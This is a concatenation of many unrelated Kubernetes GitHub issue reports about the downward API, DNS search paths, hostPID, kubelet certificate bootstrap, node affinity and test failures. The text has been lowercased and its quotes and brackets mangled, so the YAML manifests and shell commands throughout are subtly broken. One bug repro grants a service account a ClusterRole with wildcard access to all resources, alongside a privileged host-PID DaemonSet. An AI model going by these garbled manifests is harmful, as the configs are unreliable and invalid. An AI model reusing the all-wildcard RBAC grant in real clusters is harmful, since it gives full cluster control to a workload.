specced in https://github.com/kubernetes/community/pull/147\r \r supposedly implemented in https://github.com/kubernetes/kubernetes/pull/55902\r \r a manual test shows that it does not seem to work:\r \r    \r apiversion: apps/v1\r kind: deployment\r metadata:\r   annotations:\r     testann: \ value of testann\ \r   name: test-downapi-annotations\r spec:\r   selector:\r     matchlabels:\r       run: test-downapi-annotations\r   template:\r     metadata:\r       labels:\r         run: test-downapi-annotations\r     spec:\r       volumes:\r       - name: annvol\r         downwardapi:\r           items:\r           - path: testann\r             fieldref:\r               fieldpath: metadata.annotations 'testann' \r       containers:\r       - name: app\r         image: k8s.gcr.io/serve_hostname:v1.4\r         env:\r         - name: testann\r           valuefrom:\r             fieldref:\r               fieldpath: metadata.annotations 'testann' \r         volumemounts:\r         - mountpath: /downward-api\r           name: annvol\r    \r \r @yguo0905 you wrote the pr in question -- am i doing something wrong?\r \r    \r $ k apply -f /tmp/depl.yaml \r deployment.apps/test-downapi-annotations created\r \r $ k get pods -l run=test-downapi-annotations -o name\r pod/test-downapi-annotations-769d6888d5-xx78r\r \r $ k exec -ti -c app test-downapi-annotations-769d6888d5-xx78r -- \\\r     sh -c \ set | grep test; ls -l /downward-api/testann; cat /downward-api/testann\  \r testann=''\r lrwxrwxrwx    1 root     root            14 mar 21 17:45 /downward-api/testann -> ..data/testann\r $\r    \r \r both the env and the volume were accepted but both are empty.

there has been quite a bit of confusion over our use of the term \ minion\ .  while it captures what a worker node in a k8s cluster is well, it is highly associated with salt.  this has led to some confusion where people think that salt is playing a larger role in k8s than it actually is.  i propose that we change from minion to something that is more kubernetes specific.  questions: - is this worthwhile?  should we do this? - what will this impact?  i know that minion has made it into our api so that is something we'll have to address. - what term should we use to replace \ minion\ .  personally, i'd like to avoid any term that around \ slave\ .  suggestions:   - knode   - koupi  greek for oar    - rower   - krew   - ???

i would like to be able to add san's to certificate so that i can access the cluster either via a different cname / a record or if the master uses a different ip.

many more tests than necessary are written as e2e tests right now. if the integration framework were easier to use, it could potentially give a lot of signal that we don't get right now until the e2es are run. additionally, it'd be easier for people to run and debug locally.  therefore: - make the integration tests use ginkgo.  not that i love ginkgo, but we should be consistent.  - expand the integration test framework, to make it super easy to turn on any system component you need. - it'd be super awesome if the framework were similar enough to the e2e framework that people could move tests between the two with relative ease. - remove cmd/integration.  24440  part of:  24753

currently we have a resolvconf like:       search default.svc.cluster.local svc.cluster.local cluster.local google.internal c.kubernetesdev.internal nameserver 10.0.0.10 options ndots:5      so basically any lookup with less than 5 dots is translate to  lookup.default.svc.cluster.local , you can also do  lookup.default   ndots 2  and  lookup.default.svc   ndots 3 .   however if you lookup google.com you run through       ; <<>> dig 9.8.1-p1 <<>> +showsearch google.com ;google.com.default.svc.cluster.local. in a ; <<>> dig 9.8.1-p1 <<>> +showsearch google.com ;google.com.svc.cluster.local.  in  a ; <<>> dig 9.8.1-p1 <<>> +showsearch google.com ;google.com.cluster.local.  in  a ; <<>> dig 9.8.1-p1 <<>> +showsearch google.com ;google.com.google.internal.    in  a ; <<>> dig 9.8.1-p1 <<>> +showsearch google.com ;google.com.c.kubernetesdev.internal. in    a ; <<>> dig 9.8.1-p1 <<>> +showsearch google.com ;google.com.            in  a google.com.     258 in  a   74.125.201.100 google.com.     258 in  a   74.125.201.101 google.com.     258 in  a   74.125.201.113 google.com.     258 in  a   74.125.201.138 google.com.     258 in  a   74.125.201.139 google.com.     258 in  a   74.125.201.102      if a client knows they're only always using fqdn for in cluster services, we can probably rid of the search path and ndots.

kubernetes version    use  kubectl version  :\r 1.6.1, 1.6.0  both run into this issue \r \r   environment  :\r -   cloud provider or hardware configuration  : virtualbox 5.1.18 vm\r -   os  : 16.04.2 lts  xenial xerus \r -   kernel  :  4.4.0-71-generic  92-ubuntu smp fri mar 24 12:59:01 utc 2017 x86_64 x86_64 x86_64 gnu/linux  \r -   install tools  : kubeadm\r \r   what happened  :\r a pod scheduled using hostpid wasn't using the host's pid namespace.\r \r i've investigated this issue together with @neelimamukiri.\r \r   what you expected to happen  :\r i expected  \ pidmode\ : \ host\ ,  in the docker container's config.\r instead, the scheduled pod's container had  \ pidmode\ : \ \ , \r \r   how to reproduce it  :\r use this config to get a pod running a docker container:\r    \r ---\r \r apiversion: rbac.authorization.k8s.io/v1beta1\r kind: clusterrolebinding\r metadata:\r   name: busybox\r roleref:\r   apigroup: rbac.authorization.k8s.io\r   kind: clusterrole\r   name: busybox\r subjects:\r - kind: serviceaccount\r   name: busybox\r   namespace: kube-system\r ---\r kind: clusterrole\r apiversion: rbac.authorization.k8s.io/v1beta1\r metadata:\r   name: busybox\r   namespace: kube-system\r rules:\r   - apigroups:\r       - ' '\r     resources:\r       - ' '\r     verbs:\r       - ' '\r   - apigroups:  \ \  \r     resources:\r       - ' '\r     verbs:\r       - ' '\r   - apigroups:  \ extensions\  \r     resources:\r       - ' '\r     verbs:\r       - ' '\r ---\r apiversion: v1\r kind: serviceaccount\r metadata:\r   name: busybox\r   namespace: kube-system\r \r ---\r \r \r kind: daemonset\r apiversion: extensions/v1beta1\r metadata:\r   name: busybox\r   namespace: kube-system\r   labels:\r     k8s-app: busybox\r spec:\r   selector:\r     matchlabels:\r       k8s-app: busybox\r   template:\r     metadata:\r       labels:\r         k8s-app: busybox\r       annotations:\r         scheduler.alpha.kubernetes.io/critical-pod: ''\r     spec:\r       hostnetwork: true\r       hostpid: true\r       tolerations:\r       - key: node-role.kubernetes.io/master\r         effect: noschedule\r       serviceaccountname: busybox\r       containers:\r         - name: busybox\r           image: busybox\r           command:\r             - sleep\r             - \ 3600\ \r           securitycontext:\r             privileged: true\r --- \r    \r use  docker inspect  on the running container and check whether pidmode is set to host or not.\r \r   anything else we need to know  :\r this was working properly on kubernetes 1.5.3.

in particular, some master environments don't include kube-dns and/or kube-proxy. api aggregation should work in these environments.

forked from https://github.com/kubernetes/features/issues/88 in order to allow more discussion.\r \r things needed for beta\r -----------------------------------\r \r 1. lots of docs  tutorials, blogs, walkthroughs etc \r 2. testing with various clouds  dogfooding \r 3. automatically build and create a image for cloud-controller-manager ccm  on gcr.io\r 4. automatically run e2e tests for ccm \r 5. bugfix for kubelet certificate ip addresses  discussed here - https://github.com/kubernetes/kubernetes/pull/47152 issuecomment-307836402 \r 6. make  byid methods for all cloud integrations: https://github.com/kubernetes/kubernetes/issues/47257\r 7. make possible to use an initializer instead of the persistentvolumelabel admission plugin for out-of-tree clouds?\r \r nice to haves:\r ----------------------------\r 1. examples of out-of-tree cloud providers  digitalocean, oracle, rancher, etc \r 2. ...\r \r \r very much help wanted.\r cc @wlan0 @thockin @roberthbailey @rrati @dims @andrewsykim @munnerz

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r   >  \r \r   what happened  :\r \r    \r name:            pvc-f6d0523f-e01c-11e7-95c5-e25476aff4b0\r labels:          status=\r                  volumeid=5df78942-ee33-49c0-8454-271faa139a20\r annotations:     pv.kubernetes.io/provisioned-by=ibm.io/ibmc-genesis-block\r                  volume.beta.kubernetes.io/storage-class=ibmc-genesis-block-bronze\r storageclass:    ibmc-genesis-block-bronze\r status:          pending\r claim:           default/claim1-genesis-block-bronze\r reclaim policy:  delete\r access modes:    rwo\r capacity:        2g\r message:         \r source:\r     type:    flexvolume  a generic volume resource that is provisioned/attached using an exec based plugin \r     driver:      options:  %v\r \r     fstype:                                           ibm/ibmc-genesis\r     secretref:                                        \r     readonly:                                         <nil>\r %! extra bool=false, map string string=map   events:  <none>\r    \r \r   what you expected to happen  :\r \r source part should be well formatted.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  : ubuntu 16.04\r - kubernetes version  use  kubectl version  : 1.9. /1.8. \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release : \r version=\ 16.04.3 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.3 lts\ \r version_id=\ 16.04\ \r - kernel  e.g.  uname -a  :\r \r - install tools:\r - others:\r

the key error message:\r    \r +++  0330 16:24:12  restoring kubernetes godeps\r +++  0330 16:24:12  downloading dependencies - this might take a while\r +++  0331 11:36:26  done\r +++  0331 11:36:27  ensuring prereqs\r +++  0331 11:36:27  running godep save - this might take a while\r +++  0331 11:46:52  updating build files\r gazelle: dir \ /var/folders/lw/b5k2lvx53j98z_c0z8cyk_bcgjcp8_/t/gopath.xxxxxx.uo6gcnfx/src/k8s.io/kubernetes\  is not a subdirectory of repo root \ /private/var/folders/lw/b5k2lvx53j98z_c0z8cyk_bcgjcp8_/t/gopath.xxxxxx.uo6gcnfx/src/k8s.io/kubernetes\ \r !!! error in hack/update-bazel.sh:39\r   error in hack/update-bazel.sh:39. 'gazelle fix -build_file_name=build,build.bazel -external=vendored -proto=legacy -mode=fix' exited with status 1\r call stack:\r   1: hack/update-bazel.sh:39 main ... \r exiting with status 1\r !!! error in hack/godep-save.sh:89\r   error in hack/godep-save.sh:89. 'hack/update-bazel.sh > /dev/null' exited with status 1\r call stack:\r   1: hack/godep-save.sh:89 main ... \r exiting with status 1\r !!! error in hack/verify-godeps.sh:80\r   error in hack/verify-godeps.sh:80. 'hack/godep-save.sh' exited with status 1\r call stack:\r   1: hack/verify-godeps.sh:80 main ... \r exiting with status 1\r    \r \r verify-godeps creates a tmp dir, copies the repo over, runs a godep save, and then diffs. it uses  mktemp  and the system tmpdir to do this. the problem with this, is that on darwin, the system tmp dir is inside a symlink.\r    \r $ echo ${tmpdir}\r /var/folders/lw/b5k2lvx53j98z_c0z8cyk_bcgjcp8_/t/\r $ ls -la /var\r lrwxr-xr-x@ 1 root  wheel  11 nov 10  2016 /var -> private/var\r    \r \r gazelle ends up barfing because it doesn't see /var/folders/... as a subdirectory of the non symlinked /private/var/folders/...\r \r   /assign @ixdy

  \r   what happened  :\r my team is having an issue with tls bootstrap, running kubernetes 1.10.5. we set --experimental-cluster-signing-duration to 24h on the kube-controller-manager. some nodes are being deallocated over night, and when they come up, kubelet goes into a failed state. it appears that it recognizes that the certificate expires and attempts to bootstrap using the token from bootstrap.kubeconfig  so far so good , but then reuses the expired certificate, and cannot authenticate to the apiserver. here are relevant logs from kubelet:\r     \r bootstrap.go:204  part of the existing bootstrap client certificate is expired: 2018-07-06 12:32:00 +0000 utc                                                                                                                                                                                              \r bootstrap.go:58  using bootstrap kubeconfig to generate tls client cert, key and kubeconfig file                                                                                                                                                                                                          \r certificate_store.go:117  loading cert/key pair from \ /var/lib/kubelet/pki/kubelet-client-current.pem\ .                                                                                                                                                                                                    \r server.go:549  starting client certificate rotation.                                                                                                                                                                                                                                                      \r certificate_manager.go:216  certificate rotation is enabled.                                                                                                                                                                                                                                              \r certificate_manager.go:287  rotating certificates                                                                                                                                                                                                                                                          \r manager.go:154  cadvisor running in container: \ /sys/fs/cgroup/cpu,cpuacct/system.slice/kubelet.service\                                                                                                                                                                                                   \r certificate_manager.go:299  failed while requesting a signed certificate from the master: cannot create certificate signing request: certificatesigningrequests.certificates.k8s.io is forbidden: user \ system:anonymous\  cannot create certificatesigningrequests.certificates.k8s.io at the cluster scope\r    \r \r after removing the generated cert at   /var/lib/kubelet/pki/kubelet-client-current.pem , kubelet was able to bootstrap properly, obtain a new cert and join the cluster.\r    \r rm /var/lib/kubelet/pki/kubelet-client-current.pem\r systemctl restart kubelet\r    \r just removing the kubeconfig, or any of the files in  /var/lib/kubelet/pki/  other than kubelet-client-current.pem and restarting kubelet did not work. removing the entire  /var/lib/kubelet/pki/  directory and restarting kubelet works as well.\r \r   what you expected to happen  :\r i expect that after kubelet recognizes that its certificate has expired, it should remove its certificate and successfully bootstrap with the token in bootstrap.kubeconfig. it should obtain a new, valid, signed certificate from the control plane and successfully authenticate to the apiserver.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. set the rotatekubeletclientcertificate flag on kubelet and feature gate on kube-controller manager\r 1. set the  --experimental-cluster-signing-duration  flag on the kube-controller-manager to a small duration.\r 1. start kubelet with bootstrap.kubeconfig file containing a token  that is present in the token authentication file passed to the apiserver  -- kubelet bootstraps successfully and is ready.\r 1. stop kubelet before  it has attempted to renew its certificate.\r 1. wait until kubelet's certificate has expired\r 1. restart kubelet\r \r \r   anything else we need to know?  :\r let me know if there are more logs and information that would be useful. thanks a lot!\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.10.5\r - cloud provider or hardware configuration: azure\r - os  e.g. from /etc/os-release : centos 7.4\r - kernel  e.g.  uname -a  : 3.10.0-693.11.6.el7.x86_64\r - install tools: custom\r - others:\r

looks like after https://github.com/kubernetes/kubernetes/pull/69868 got merged, our test output has become too noisy and we are printing entire globs of rbac policies.\r \r    \r oct 30 14:34:41.307: info: patching original content of  v1.serviceaccount:\r {\r   \ kind\ : \ serviceaccount\ ,\r   \ apiversion\ : \ v1\ ,\r   \ metadata\ : {\r     \ name\ : \ csi-driver-registrar\ ,\r     \ namespace\ : \ default\ ,\r     \ creationtimestamp\ : null\r   }\r }\r oct 30 14:34:41.307: info: patching original content of  v1.clusterrole:\r {\r   \ kind\ : \ clusterrole\ ,\r   \ apiversion\ : \ rbac.authorization.k8s.io/v1\ ,\r   \ metadata\ : {\r     \ name\ : \ driver-registrar-runner\ ,\r     \ creationtimestamp\ : null\r   },\r    \r \r i do not think, this is necessary. \r \r  \r cc @pohly

--- fail: testdeephashobject  0.03s      hash_test.go:83: repeated hash of the same object  \  map hash.c bool map 859532222592::true 859532222624::false \   produced different results: 2276925819 vs 2138644859     hash_test.go:86: repeated hash of the same object  \  map hash.c bool map 859532222816::true 859532222848::false \   produced different results: 2276925819 vs 2138644859     hash_test.go:83: repeated hash of the same object  \  map hash.c bool map 859532224064::true 859532224096::false \   produced different results: 2276925819 vs 2138644859     hash_test.go:89: hash of the same object produced  \  map hash.c bool map 859532224288::true 859532224320::false \   different results: 2138644859 vs 2276925819     hash_test.go:86: repeated hash of the same object  \  map hash.c bool map 859532227072::true 859532227104::false \   produced different results: 2276925819 vs 2138644859     hash_test.go:89: hash of the same object produced  \  map hash.c bool map 859532227296::false 859532227328::true \   different results: 2276925819 vs 2138644859     hash_test.go:86: repeated hash of the same object  \  map hash.c bool map 859532228544::true 859532228576::false \   produced different results: 2276925819 vs 2138644859     hash_test.go:89: hash of the same object produced  \  map hash.c bool map 859532228768::true 859532228800::false \   different results: 2276925819 vs 2138644859     hash_test.go:83: repeated hash of the same object  \  map hash.c bool map 859532230528::true 859532230560::false \   produced different results: 2276925819 vs 2138644859     hash_test.go:89: hash of the same object produced  \  map hash.c bool map 859532296288::true 859532296320::false \   different results: 2138644859 vs 2276925819     hash_test.go:83: repeated hash of the same object  \  map hash.c bool map 859532297024::true 859532297056::false \   produced different results: 2276925819 vs 2138644859     hash_test.go:89: hash of the same object produced  \  map hash.c bool map 859532297248::true 859532297280::false \   different results: 2138644859 vs 2276925819     hash_test.go:86: repeated hash of the same object  \  map hash.c bool map 859532301056::true 859532301088::false \   produced different results: 2276925819 vs 2138644859     hash_test.go:89: hash of the same object produced  \  map hash.c bool map 859532301280::false 859532301312::true \   different results: 2276925819 vs 2138644859     hash_test.go:83: repeated hash of the same object  \  map hash.c bool map 859532303552::true 859532303584::false \   produced different results: 2276925819 vs 2138644859     hash_test.go:89: hash of the same object produced  \  map hash.c bool map 859532303776::true 859532303808::false \   different results: 2138644859 vs 2276925819     hash_test.go:86: repeated hash of the same object  \  map hash.c bool map 859532345984::true 859532346016::false \   produced different results: 2276925819 vs 2138644859     hash_test.go:89: hash of the same object produced  \  map hash.c bool map 859532346208::true 859532346240::false \   different results: 2276925819 vs 2138644859     hash_test.go:86: repeated hash of the same object  \  map hash.c bool map 859532347968::true 859532348000::false \   produced different results: 2276925819 vs 2138644859     hash_test.go:89: hash of the same object produced  \  map hash.c bool map 859532348192::true 859532348224::false \   different results: 2276925819 vs 2138644859     hash_test.go:83: repeated hash of the same object  \  map hash.c bool map 859532351488::true 859532351520::false \   produced different results: 2276925819 vs 2138644859     hash_test.go:89: hash of the same object produced  \  map hash.c bool map 859532351712::false 859532351744::true \   different results: 2138644859 vs 2276925819     hash_test.go:83: repeated hash of the same object  \  map hash.c bool map 859532404672::false 859532404704::true \   produced different results: 2276925819 vs 2138644859     hash_test.go:89: hash of the same object produced  \  map hash.c bool map 859532404896::true 859532404928::false \   different results: 2138644859 vs 2276925819     hash_test.go:86: repeated hash of the same object  \  map hash.c bool map 859532409216::true 859532409248::false \   produced different results: 2276925819 vs 2138644859     hash_test.go:89: hash of the same object produced  \  map hash.c bool map 859532409440::true 859532409472::false \   different results: 2276925819 vs 2138644859     hash_test.go:86: repeated hash of the same object  \  map hash.c bool map 859532460352::false 859532460384::true \   produced different results: 2276925819 vs 2138644859     hash_test.go:89: hash of the same object produced  \  map hash.c bool map 859532460576::true 859532460608::false \   different results: 2276925819 vs 2138644859     hash_test.go:83: repeated hash of the same object  \  map hash.c bool map 859532461312::true 859532461344::false \   produced different results: 2276925819 vs 2138644859     hash_test.go:89: hash of the same object produced  \  map hash.c bool map 859532461536::true 859532461568::false \   different results: 2138644859 vs 2276925819     hash_test.go:83: repeated hash of the same object  \  map hash.c bool map 859532462784::true 859532462816::false \   produced different results: 2276925819 vs 2138644859     hash_test.go:89: hash of the same object produced  \  map hash.c bool map 859532463008::true 859532463040::false \   different results: 2138644859 vs 2276925819     hash_test.go:86: repeated hash of the same object  \  map hash.c bool map 859532514944::true 859532514976::false \   produced different results: 2276925819 vs 2138644859     hash_test.go:89: hash of the same object produced  \  map hash.c bool map 859532515168::true 859532515200::false \   different results: 2276925819 vs 2138644859     hash_test.go:83: repeated hash of the same object  \  map hash.c bool map 859532560448::true 859532560480::false \   produced different results: 2276925819 vs 2138644859     hash_test.go:89: hash of the same object produced  \  map hash.c bool map 859532560672::true 859532560704::false \   different results: 2138644859 vs 2276925819     hash_test.go:83: repeated hash of the same object  \  map hash.c bool map 859532563456::true 859532563488::false \   produced different results: 2276925819 vs 2138644859     hash_test.go:89: hash of the same object produced  \  map hash.c bool map 859532563680::true 859532563712::false \   different results: 2138644859 vs 2276925819     hash_test.go:83: repeated hash of the same object  \  map hash.c bool map 859532564416::true 859532564448::false \   produced different results: 2276925819 vs 2138644859     hash_test.go:89: hash of the same object produced  \  map hash.c bool map 859532564640::true 859532564672::false \   different results: 2138644859 vs 2276925819     hash_test.go:83: repeated hash of the same object  \  map hash.c bool map 859532565376::true 859532565408::false \   produced different results: 2276925819 vs 2138644859     hash_test.go:86: repeated hash of the same object  \  map hash.c bool map 859532565600::true 859532565632::false \   produced different results: 2276925819 vs 2138644859     hash_test.go:86: repeated hash of the same object  \  map hash.c bool map 859532566336::true 859532566368::false \   produced different results: 2276925819 vs 2138644859     hash_test.go:89: hash of the same object produced  \  map hash.c bool map 859532623904::true 859532623936::false \   different results: 2276925819 vs 2138644859 fail fail    k8s.io/kubernetes/pkg/util/hash 0.062s

while trying a vm image today, i directed  cluster/gce/config-default.sh  to use an alternative  node_image_project  by changing:      node_image_project=${kube_gce_node_project:-google-containers}      to:      node_image_project=${kube_gce_node_project:-mtaufen-cvm-build}      this had no effect on the project where the chain of scripts following  cluster/kube-up.sh  looked for the node image. the following had the effect i was looking for:  in  cluster/gce/util.sh , change:      function set-node-image   {   if    \ ${node_os_distribution}\  == \ gci\    ; then       if the node image is not set, we use the latest gci image.       otherwise, we respect whatever is set by the user.     node_image=${kube_gce_node_image:-${gci_version}}     node_image_project=${kube_gce_node_project:-google-containers}   elif    \ ${node_os_distribution}\  == \ debian\    ; then     node_image=${kube_gce_node_image:-${cvm_version}}     node_image_project=${kube_gce_node_project:-google-containers}   fi }      to:      function set-node-image   {   if    \ ${node_os_distribution}\  == \ gci\    ; then       if the node image is not set, we use the latest gci image.       otherwise, we respect whatever is set by the user.     node_image=${kube_gce_node_image:-${gci_version}}     node_image_project=${kube_gce_node_project:-google-containers}   elif    \ ${node_os_distribution}\  == \ debian\    ; then     node_image=${kube_gce_node_image:-${cvm_version}}     node_image_project=${kube_gce_node_project:-mtaufen-cvm-build}   fi }      sort of strange that something would unset  kube_gce_node_project .  i need to look at this again in the morning when i'm more awake.  /cc @vishh

failed: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-release-1.4/988/  run so broken it didn't make junit output!

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?   : no\r \r \r   what keywords did you search in kubernetes issues before filing this one?  : aws loadbalancer elb healthcheck\r \r ---\r \r   is this a bug report or feature request?    choose one : feature request\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2\ , gitcommit:\ 477efc3cbe6a7effca06bd1452fa356e2201e1ee\ , gittreestate:\ clean\ , builddate:\ 2017-04-19t22:51:55z\ , goversion:\ go1.8.1\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2+coreos.0\ , gitcommit:\ 79fee581ce4a35b7791fdd92e0fc97e02ef1d5c0\ , gittreestate:\ clean\ , builddate:\ 2017-04-19t23:13:34z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r -   cloud provider or hardware configuration  :\r aws\r \r -   os    e.g. from /etc/os-release :\r name=\ container linux by coreos\ \r id=coreos\r version=1353.7.0\r version_id=1353.7.0\r build_id=2017-04-26-2154\r pretty_name=\ container linux by coreos 1353.7.0  ladybug \ \r \r -   kernel    e.g.  uname -a  :\r linux ip-172-16-10-12.us-west-2.compute.internal 4.9.24-coreos  1 smp wed apr 26 21:44:23 utc 2017 x86_64 intel r  xeon r  cpu e5-2670 v2 @ 2.50ghz genuineintel gnu/linux\r \r -   install tools  :\r coreos kubelet-wrapper\r \r -   others  :\r n/a\r \r   what happened  :\r aws elb health check   target   seems to be  tcp:  only.\r https://github.com/kubernetes/kubernetes/blob/master/pkg/cloudprovider/providers/aws/aws_loadbalancer.go l343\r when backend pod is serving in ssl and elb health check uses  tcp: , pod container will report error logs  http: tls handshake error from <ip>:<port>: eof  \r \r   what you expected to happen  :\r can we have  ssl:  as target when we use  service.beta.kubernetes.io/aws-load-balancer-backend-protocol: \ ssl\  ?\r \r   how to reproduce it    as minimally and precisely as possible :\r n/a\r \r   anything else we need to know  :\r n/a\r

this issue is to continue the discussion in  45798, the fix in the pr is temporary and would be reverted as soon as the permanent solution is arrived at.\r \r we want to implement the defaulting  externaltrafficpolicy  logic for service in registry,  for both create and update . we at federation are currently not using the same set of rest functions for service. this was agreeable as some of the logic implemented in k8s registry for service cluster-ip allocator, nodeport allocator,  nodeport vallidity check  may not be applicable for federated services. now going forward federation registry also should have some logic implemented which is similar to k8s registry.\r \r @nikhiljindal, request to provide some inputs on this about the right approach.\r \r cc @kubernetes/sig-federation-bugs, @mrhohn @madhusudancs

kubernetes version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2\ , gitcommit:\ 477efc3cbe6a7effca06bd1452fa356e2201e1ee\ , gittreestate:\ clean\ , builddate:\ 2017-04-19t20:33:11z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2+coreos.0\ , gitcommit:\ 79fee581ce4a35b7791fdd92e0fc97e02ef1d5c0\ , gittreestate:\ clean\ , builddate:\ 2017-04-19t23:13:34z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os  :\r name=\ container linux by coreos\ \r id=coreos\r version=1353.7.0\r version_id=1353.7.0\r build_id=2017-04-26-2154\r \r -   kernel  : linux 4.9.24-coreos  1 smp wed apr 26 21:44:23 utc 2017 x86_64 intel r  xeon r  cpu e5-2686 v4 @ 2.30ghz genuineintel gnu/linux\r \r -   install tools  : kube-aws 0.9.6\r \r ------------\r \r we're investigating an incident we had last week where 116 nodes in a 119 node cluster moved to nodenotready. nodes moved into nodenotready one by one, over a period of 15 minutes. then, all nodes became healthy at around the same time.\r \r here's what we know:\r  1  we're running kubernetes v1.6.2, spun up with kube-aws v0.9.6 on coreos's stable release branch.\r \r  2  while the nodes were unhealthy, their pods remained running -- but stopped receiving incoming traffic. the service fronting the pods returned an empty result set  no matching pods . the application running inside the pod did not show signs of network trouble, appeared able to service already-established connections.\r \r  3  kubernetes initialized a pod removal for nodes that had been unhealthy for 5 minutes  the pod eviction time .\r \r  4  the pod removal was processed only when the nodes became healthy again  presumably because the controller could not communicate with the kubelet .\r \r  5  the closest we've gotten to root cause is that it's \ something related to iptables\ . the nodes' dmesg contains:\r \r    \r ip-10-0-7-5.ec2.internal.dmesg: fri may 26 00:05:34 2017  netfilter messages via netlink v0.30.\r ip-10-0-7-5.ec2.internal.dmesg- fri may 26 00:05:34 2017  ctnetlink v0.93: registering with nfnetlink.\r    \r \r and then a subset of the nodes failed ensuring correct rules were running:\r \r    \r may 26 00:06:37 ip-10-0-7-5.ec2.internal kubelet-wrapper 1911 : e0526 00:06:37.336142    1911 kubelet_network.go:412  failed to ensure marking rule for kube-mark-masq: error checking rule: exit status 4: iptables: resource temporarily unavailable.\r may 26 00:20:38 ip-10-0-7-5.ec2.internal kubelet-wrapper 1911 : e0526 00:20:38.629536    1911 kubelet_network.go:378  failed to ensure marking rule for kube-mark-drop: error checking rule: exit status 4: iptables: resource temporarily unavailable.\r    \r \r   6  all nodes printed the netfilter message between 2017-05-26t00:05:34z - 2017-05-26t00:10:02z, and all nodes were marked unhealthy between 2017-05-26t00:05:41z - 2017-05-26t00:20:06z. there is not a clear correlation between which nodes printed the netfilter message first, and which were detected unhealthy first.\r \r \r we don't know where to go from here, and would appreciate pointers. we've collected the journal and dmesg on all nodes, the kubectl event stream, as well as the api-server, controller and scheduler logs. don't believe they contain any sensitive data, but would prefer to share over a private channel, if possible.\r \r are there any other logs we should be gathering before tearing down the cluster?

bug report  :\r \r >  \r   what happened  :\r kubernetes nodes doesn't have any space left on disk and cluster gets stuck.\r garbage collector doesn't clean up old docker images.\r \r   what you expected to happen  :\r garbage collector should clean up unused docker images.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r running docker cleanup on images deletes about 150 images with a whole size of 5gb.\r \r running cadvisor /validate shows following message:\r    \r  none of the devices support 'cfq' i/o scheduler. no disk stats can be reported.\r      disk \ xvda\  scheduler type \ none\ .\r    \r running  journalctl -u kubelet | grep -i  garbage \r \r  jun 20 14:35:21 ip-172-21-4-239 kubelet 1551 : e0620 14:35:21.986898    1551 kubelet.go:1165  image garbage collection failed: unable to find data for container / \r \r \r   environment  :\r - kubernetes v1.6.4\r - running on aws deployed with kops 1.6.1\r - debian  kope.io/k8s-1.6-debian-jessie-amd64-hvm-ebs-2017-05-02 \r - kernel 4.4.65-k8s\r \r @kubernetes/sig-node-bugs

as part of  48123, a new getcapacity   method was added to the container manager interface that gets populated during kubelet initialization.  all resources should use this to report the resource capacity instead of calculating it every time.  \r \r originally, when we tried changing all the existing resources, the kubemark test started failing.  my theory is that the kubemark environment initializes kubelet differently which caused getcapacity   to return nil, and then the capacity would be reported as 0.\r \r 

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r   \r \r   what happened  :\r having a cluster of 4 nodes, i tried to schedule 2 pods with the following limitation:\r \r    \r   spec:\r     replicas: 2\r     template:\r       spec:\r         affinity:\r           nodeaffinity:\r             requiredduringschedulingignoredduringexecution:\r               nodeselectorterms:\r               - matchexpressions:\r                 - key: kubernetes.io/hostname\r                   operator: notin\r                   values:\r                   - dev-4\r               - matchexpressions:\r                 - key: test\r                   operator: notin\r                   values:\r                   - foo\r    \r \r  dev-1  has the  test  label. \r however, the 2 pods are scheduled onto  dev-1  and  dev-4 .\r \r   what you expected to happen  :\r \r as the  matchexpressions  are supposed to be  anded , the pods should avoid those 2 nodes.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create a deployment with two  matchexpressions  that has \r 1. different key name and value\r 2. with  notin  operator\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :  1.7.2\r - cloud provider or hardware configuration  : bare metal\r - os  e.g. from /etc/os-release : centos 7\r - kernel  e.g.  uname -a  : linux dev-4 3.10.0-514.21.1.el7.x86_64  1 smp thu may 25 17:04:51 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools: kubeadm based\r - others:\r

